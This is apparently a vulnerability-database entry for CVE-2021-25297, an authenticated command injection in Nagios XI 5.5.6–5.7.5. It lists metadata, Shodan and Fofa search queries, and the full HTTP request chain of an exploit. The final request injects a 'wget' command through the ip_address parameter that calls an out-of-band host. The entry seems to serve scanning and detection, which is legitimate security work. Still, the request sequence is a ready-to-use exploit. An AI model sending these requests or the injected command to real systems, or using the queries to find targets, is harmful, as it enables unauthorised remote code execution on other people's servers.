| Title | Nagios 5.5.6-5.7.5 - Authenticated Remote Command Injection |
|---|---|
| Author | k0pak4 |
| Severity | High |
| Impact | Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary commands on the target system. |
| Remediation | Upgrade Nagios to a version higher than 5.7.5 or apply the provided patch to mitigate the vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.60589 |
| CVE ID | CVE-2021-25297 |
| CWE ID | CWE-78 |
| Shodan Query | title:"Nagios XI"http.title:"nagios xi" |
| Fofa Query | title="nagios xi"app="nagios-xi" |
| Tags | cve2021 cve packetstorm rce oast authenticated msf nagiosxi kev nagios vkev vuln |
Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/switch/switch.inc.php. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
GET /nagiosxi/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Accept-Encoding: gzip
POST /nagiosxi/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
nsp=MYTxfm&pageopt=login&username=8EJeGG&password=CZQf8j
GET /nagiosxi/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.8
Connection: close
Accept-Encoding: gzip
GET /nagiosxi/config/monitoringwizard.php?update=1&nsp=CjuT9L&nextstep=3&wizard=switch&ip_address=127.0.0.1%22%3b%20wget%20d5jnio9le0o4ev65l5h0663oy4ckqseth.oast.online%3b&snmpopts%5bsnmpcommunity%5d=public&scaninterfaces=on HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25297.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25297.pcap
N/AN/A